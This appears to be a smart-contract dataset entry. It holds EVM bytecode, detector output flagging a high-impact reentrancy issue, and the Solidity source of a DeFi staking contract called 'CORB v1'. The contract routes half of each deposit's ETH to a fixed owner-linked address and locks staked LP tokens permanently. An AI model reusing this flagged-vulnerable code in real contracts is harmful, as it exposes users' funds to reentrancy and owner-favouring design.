a6565b9250506020612a5d85828601612924565b9150509250929050565b600060208284031215612a7957600080fd5b600082013567ffffffffffffffff811115612a9357600080fd5b612a9f848285016128d0565b91505092915050565b600060208284031215612aba57600080fd5b6000612ac8848285016128fa565b91505092915050565b600060208284031215612ae357600080fd5b6000612af18482850161290f565b91505092915050565b600060208284031215612b0c57600080fd5b6000612b1a84828501612924565b91505092915050565b600080600060608486031215612b3857600080fd5b6000612b4686828701612939565b9350506020612b5786828701612939565b9250506040612b6886828701612939565b9150509250925092565b6000612b7e8383612b8a565b60208301905092915050565b612b93816132f5565b82525050565b612ba2816132f5565b82525050565b6000612bb38261319b565b612bbd81856131be565b9350612bc88361318b565b8060005b83811015612bf9578151612be08882612b72565b9750612beb836131b1565b925050600181019050612bcc565b5085935050505092915050565b612c0f81613307565b82525050565b612c1e8161334a565b82525050565b6000612c2f826131a6565b612c3981856131cf565b9350612c4981856020860161335c565b612c5281613496565b840191505092915050565b6000612c6a6023836131cf565b9150612c75826134a7565b604082019050919050565b6000612c8d601a836131cf565b9150612c98826134f6565b602082019050919050565b6000612cb0602a836131cf565b9150612cbb8261351f565b604082019050919050565b6000612cd36022836131cf565b9150612cde8261356e565b604082019050919050565b6000612cf6601b836131cf565b9150612d01826135bd565b602082019050919050565b6000612d19601d836131cf565b9150612d24826135e6565b602082019050919050565b6000612d3c6021836131cf565b9150612d478261360f565b604082019050919050565b6000612d5f6020836131cf565b9150612d6a8261365e565b602082019050919050565b6000612d826029836131cf565b9150612d8d82613687565b604082019050919050565b6000612da56025836131cf565b9150612db0826136d6565b604082019050919050565b6000612dc86024836131cf565b9150612dd382613725565b604082019050919050565b6000612deb6011836131cf565b9150612df682613774565b602082019050919050565b612e0a81613333565b82525050565b612e198161333d565b82525050565b6000602082019050612e346000830184612b99565b92915050565b6000604082019050612e4f6000830185612b99565b612e5c6020830184612b99565b9392505050565b6000604082019050612e786000830185612b99565b612e856020830184612e01565b9392505050565b600060c082019050612ea16000830189612b99565b612eae6020830188612e01565b612ebb6040830187612c15565b612ec86060830186612c15565b612ed56080830185612b99565b612ee260a0830184612e01565b979650505050505050565b6000602082019050612f026000830184612c06565b92915050565b60006020820190508181036000830152612f228184612c24565b905092915050565b60006020820190508181036000830152612f4381612c5d565b9050919050565b60006020820190508181036000830152612f6381612c80565b9050919050565b60006020820190508181036000830152612f8381612ca3565b9050919050565b60006020820190508181036000830152612fa381612cc6565b9050919050565b60006020820190508181036000830152612fc381612ce9565b9050919050565b60006020820190508181036000830152612fe381612d0c565b9050919050565b6000602082019050818103600083015261300381612d2f565b9050919050565b6000602082019050818103600083015261302381612d52565b9050919050565b6000602082019050818103600083015261304381612d75565b9050919050565b6000602082019050818103600083015261306381612d98565b9050919050565b6000602082019050818103600083015261308381612dbb565b9050919050565b600060208201905081810360008301526130a381612dde565b9050919050565b60006020820190506130bf6000830184612e01565b92915050565b600060a0820190506130da6000830188612e01565b6130e76020830187612c15565b81810360408301526130f98186612ba8565b90506131086060830185612b99565b6131156080830184612e01565b9695505050505050565b60006020820190506131346000830184612e10565b92915050565b6000613144613155565b9050613150828261338f565b919050565b6000604051905090565b600067ffffffffffffffff82111561317a57613179613467565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131eb82613333565b91506131f683613333565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322b5761322a613409565b5b828201905092915050565b600061324182613333565b915061324c83613333565b92508261325c5761325b613438565b5b828204905092915050565b600061327282613333565b915061327d83613333565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b6576132b5613409565b5b828202905092915050565b60006132cc82613333565b91506132d783613333565b9250828210156132ea576132e9613409565b5b828203905092915050565b600061330082613313565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335582613333565b9050919050565b60005b8381101561337a57808201518184015260208101905061335f565b83811115613389576000848401525b50505050565b61339882613496565b810181811067ffffffffffffffff821117156133b7576133b6613467565b5b80604052505050565b60006133cb82613333565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fe576133fd613409565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a6816132f5565b81146137b157600080fd5b50565b6137bd81613307565b81146137c857600080fd5b50565b6137d481613333565b81146137df57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a8ebeab5a4220448ca40a26f248634f82cfb2c2917a056799407130593688fe64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,758 |
0xd4e26a4d24b7370f5e682947ae3dfdd1a67e1d16
|
// SPDX-License-Identifier: MIT
/*
_________ ________ ____________________ ____
\_ ___ \ \_____ \\______ \______ \ ___ _/_ |
/ \ \/ / | \| _/| | _/ \ \/ /| |
\ \____/ | \ | \| | \ \ / | |
\______ /\_______ /____|_ /|______ / \_/ |___|
\/ \/ \/ \/
forked from Orb + Core
LP tokens are staked forever!
Website: corb.finance
*/
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Uniswap{
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function WETH() external pure returns (address);
}
interface Pool{
function owner() external view returns (address);
}
contract Poolable{
address payable internal constant _POOLADDRESS = 0x78c883EB7A1C2b11129D8113A5e40d815e1Cb33d;
function primary() private view returns (address) {
return Pool(_POOLADDRESS).owner();
}
modifier onlyPrimary() {
require(msg.sender == primary(), "Caller is not primary");
_;
}
}
contract Staker is Poolable{
using SafeMath for uint256;
uint constant internal DECIMAL = 10**18;
uint constant public INF = 33136721748;
uint private _rewardValue = 10**21;
mapping (address => uint256) public timePooled;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private referralEarned;
address public orbAddress;
address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public WETHAddress = Uniswap(UNIROUTER).WETH();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
bool public priceCapped = false;
uint public creationTime = now;
receive() external payable {
if(msg.sender != UNIROUTER){
stake();
}
}
function sendValue(address payable recipient, uint256 amount) internal {
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function unchangeable() public view returns (bool){
return _unchangeable;
}
function rewardValue() public view returns (uint){
return _rewardValue;
}
//THE ONLY ADMIN FUNCTIONS vvvv
//After this is called, no changes can be made
function makeUnchangeable() public onlyPrimary{
_unchangeable = true;
}
//Can only be called once to set token address
function setTokenAddress(address input) public onlyPrimary{
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
orbAddress = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function updateRewardValue(uint input) public onlyPrimary {
require(!unchangeable(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//Cap token price at 1 eth, can't be called if makeUnchangeable() was called
function capPrice(bool input) public onlyPrimary {
require(!unchangeable(), "makeUnchangeable() function was already called");
priceCapped = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function sqrt(uint y) public pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function stake() public payable{
require(creationTime + 6 hours <= now, "It has not been 6 hours since contract creation yet");
address staker = msg.sender;
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
if(price() >= (1.05 * 10**18) && priceCapped){
uint t = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap
uint a = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint x = (sqrt(9*t*t + 3988000*a*t) - 1997*t)/1994;
IERC20(orbAddress).mint(address(this), x);
address[] memory path = new address[](2);
path[0] = orbAddress;
path[1] = WETHAddress;
IERC20(orbAddress).approve(UNIROUTER, x);
Uniswap(UNIROUTER).swapExactTokensForETH(x, 1, path, _POOLADDRESS, INF);
}
sendValue(_POOLADDRESS, address(this).balance/2);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap
uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount);
IERC20(orbAddress).mint(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this));
uint amountTokenDesired = IERC20(orbAddress).balanceOf(address(this));
IERC20(orbAddress).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens
Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(orbAddress, amountTokenDesired, 1, 1, address(this), INF);
uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this));
uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore);
rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker));
timePooled[staker] = now;
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot);
}
function withdrawRewardTokens(uint amount) public {
require(timePooled[msg.sender] + 3 days <= now, "It has not been 3 days since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ethtimeCalc(amount);
rewards[msg.sender] = rewards[msg.sender].sub(removeAmount);
IERC20(orbAddress).mint(msg.sender, amount);
}
function viewRecentRewardTokenAmount(address who) internal view returns (uint){
return (viewLPTokenAmount(who).mul( now.sub(internalTime[who]) ));
}
function viewRewardTokenAmount(address who) public view returns (uint){
return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who)) );
}
function viewLPTokenAmount(address who) public view returns (uint){
return LPTokenBalance[who];
}
function viewPooledEthAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewPooledTokenAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
uint tokenAmount = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap
return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function price() public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap
return (DECIMAL.mul(ethAmount)).div(tokenAmount);
}
function ethEarnCalc(uint eth, uint time) public view returns(uint){
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
uint totalEth = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint totalLP = IERC20(poolAddress).totalSupply();
uint LP = ((eth/2)*totalLP)/totalEth;
return earnCalc(LP * time);
}
function earnCalc(uint LPTime) public view returns(uint){
return ( rewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL );
}
function ethtimeCalc(uint orb) internal view returns(uint){
return ( orb.mul(31557600 * DECIMAL) ).div( rewardValue() );
}
}
|
0x60806040526004361061014f5760003560e01c80639d2a679f116100b6578063d28de2731161006f578063d28de273146105f2578063d488ebe814610633578063d8270dce14610698578063e42255d8146106c3578063e91ed7c914610728578063ff2eba681461078d576101a6565b80639d2a679f14610480578063a035b1fe146104ab578063a064b44b146104d6578063b1fd674014610525578063c4fcf8261461058a578063cb43b2dd146105b7576101a6565b80633a4b66f1116101085780633a4b66f11461034f578063475d8733146103595780634caacd7514610370578063677342ce1461039d5780637228cd7d146103ec5780638439a54114610445576101a6565b80630af88b24146101ab57806312c7df73146101ec578063149c32661461021757806326a4e8d21461025857806329b83c2e146102a95780632dd310001461030e576101a6565b366101a657737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101a4576101a36107ca565b5b005b600080fd5b3480156101b757600080fd5b506101c061184c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f857600080fd5b50610201611872565b6040518082815260200191505060405180910390f35b34801561022357600080fd5b5061022c61187b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561026457600080fd5b506102a76004803603602081101561027b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a1565b005b3480156102b557600080fd5b506102f8600480360360208110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a2b565b6040518082815260200191505060405180910390f35b34801561031a57600080fd5b50610323611a43565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103576107ca565b005b34801561036557600080fd5b5061036e611a5b565b005b34801561037c57600080fd5b50610385611b20565b60405180821515815260200191505060405180910390f35b3480156103a957600080fd5b506103d6600480360360208110156103c057600080fd5b8101908080359060200190929190505050611b37565b6040518082815260200191505060405180910390f35b3480156103f857600080fd5b5061042f6004803603604081101561040f57600080fd5b810190808035906020019092919080359060200190929190505050611b99565b6040518082815260200191505060405180910390f35b34801561045157600080fd5b5061047e6004803603602081101561046857600080fd5b8101908080359060200190929190505050611e34565b005b34801561048c57600080fd5b50610495611f44565b6040518082815260200191505060405180910390f35b3480156104b757600080fd5b506104c0611f4d565b6040518082815260200191505060405180910390f35b3480156104e257600080fd5b5061050f600480360360208110156104f957600080fd5b810190808035906020019092919050505061222f565b6040518082815260200191505060405180910390f35b34801561053157600080fd5b506105746004803603602081101561054857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612269565b6040518082815260200191505060405180910390f35b34801561059657600080fd5b5061059f612504565b60405180821515815260200191505060405180910390f35b3480156105c357600080fd5b506105f0600480360360208110156105da57600080fd5b8101908080359060200190929190505050612517565b005b3480156105fe57600080fd5b506106076127e6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063f57600080fd5b506106826004803603602081101561065657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127fe565b6040518082815260200191505060405180910390f35b3480156106a457600080fd5b506106ad612869565b6040518082815260200191505060405180910390f35b3480156106cf57600080fd5b50610712600480360360208110156106e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061286f565b6040518082815260200191505060405180910390f35b34801561073457600080fd5b506107776004803603602081101561074b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b0a565b6040518082815260200191505060405180910390f35b34801561079957600080fd5b506107c8600480360360208110156107b057600080fd5b81019080803515159060200190929190505050612b53565b005b42615460600854011115610829576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603381526020018061323d6033913960400191505060405180910390fd5b60003390506000735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561090d57600080fd5b505afa158015610921573d6000803e3d6000fd5b505050506040513d602081101561093757600080fd5b81019080805190602001909291905050509050670e92596fd629000061095b611f4d565b101580156109755750600760169054906101000a900460ff165b15610fb7576000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a0557600080fd5b505afa158015610a19573d6000803e3d6000fd5b505050506040513d6020811015610a2f57600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610acd57600080fd5b505afa158015610ae1573d6000803e3d6000fd5b505050506040513d6020811015610af757600080fd5b8101908080519060200190929190505050905060006107ca836107cd02610b2b8585623cda20020286876009020201611b37565b0381610b3357fe5b049050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610bc957600080fd5b505af1158015610bdd573d6000803e3d6000fd5b505050506060600267ffffffffffffffff81118015610bfb57600080fd5b50604051908082528060200260200182016040528015610c2a5781602001602082028036833780820191505090505b509050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110610c5d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110610cc757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610da857600080fd5b505af1158015610dbc573d6000803e3d6000fd5b505050506040513d6020811015610dd257600080fd5b810190808051906020019092919050505050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166318cbafe5836001847378c883eb7a1c2b11129d8113a5e40d815e1cb33d6407b71a3f546040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015610eb3578082015181840152602081019050610e98565b505050509050019650505050505050600060405180830381600087803b158015610edc57600080fd5b505af1158015610ef0573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610f1a57600080fd5b8101908080516040519392919084640100000000821115610f3a57600080fd5b83820191506020820185811115610f5057600080fd5b8251866020820283011164010000000082111715610f6d57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015610fa4578082015181840152602081019050610f89565b5050505090500160405250505050505050505b610fdf7378c883eb7a1c2b11129d8113a5e40d815e1cb33d60024781610fd957fe5b04612c76565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561106a57600080fd5b505afa15801561107e573d6000803e3d6000fd5b505050506040513d602081101561109457600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561113257600080fd5b505afa158015611146573d6000803e3d6000fd5b505050506040513d602081101561115c57600080fd5b810190808051906020019092919050505090506000611196836111888447612d3a90919063ffffffff16565b612dc090919063ffffffff16565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561122b57600080fd5b505af115801561123f573d6000803e3d6000fd5b5050505060008473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156112ac57600080fd5b505afa1580156112c0573d6000803e3d6000fd5b505050506040513d60208110156112d657600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561137457600080fd5b505afa158015611388573d6000803e3d6000fd5b505050506040513d602081101561139e57600080fd5b81019080805190602001909291905050509050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561145857600080fd5b505af115801561146c573d6000803e3d6000fd5b505050506040513d602081101561148257600080fd5b810190808051906020019092919050505050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71947600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600180306407b71a3f546040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561157757600080fd5b505af115801561158b573d6000803e3d6000fd5b50505050506040513d60608110156115a257600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050505060008673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561163357600080fd5b505afa158015611647573d6000803e3d6000fd5b505050506040513d602081101561165d57600080fd5b8101908080519060200190929190505050905060006116858483612e0a90919063ffffffff16565b90506116e16116938a612e54565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ec990919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117fe81600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ec990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6118a9612f51565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611949576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b600760159054906101000a900460ff16156119cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f46756e6374696f6e2077617320616c72656164792063616c6c6564000000000081525060200191505060405180910390fd5b6001600760156101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60016020528060005260406000206000915090505481565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b611a63612f51565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b6000600760149054906101000a900460ff16905090565b60006003821115611b86578190506000600160028481611b5357fe5b040190505b81811015611b8057809150600281828581611b6f57fe5b040181611b7857fe5b049050611b58565b50611b94565b60008214611b9357600190505b5b919050565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611c7957600080fd5b505afa158015611c8d573d6000803e3d6000fd5b505050506040513d6020811015611ca357600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611d4157600080fd5b505afa158015611d55573d6000803e3d6000fd5b505050506040513d6020811015611d6b57600080fd5b8101908080519060200190929190505050905060008273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611dc657600080fd5b505afa158015611dda573d6000803e3d6000fd5b505050506040513d6020811015611df057600080fd5b810190808051906020019092919050505090506000828260028981611e1157fe5b040281611e1a57fe5b049050611e2886820261222f565b94505050505092915050565b611e3c612f51565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611edc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b611ee4611b20565b15611f3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180613270602e913960400191505060405180910390fd5b8060008190555050565b6407b71a3f5481565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561202d57600080fd5b50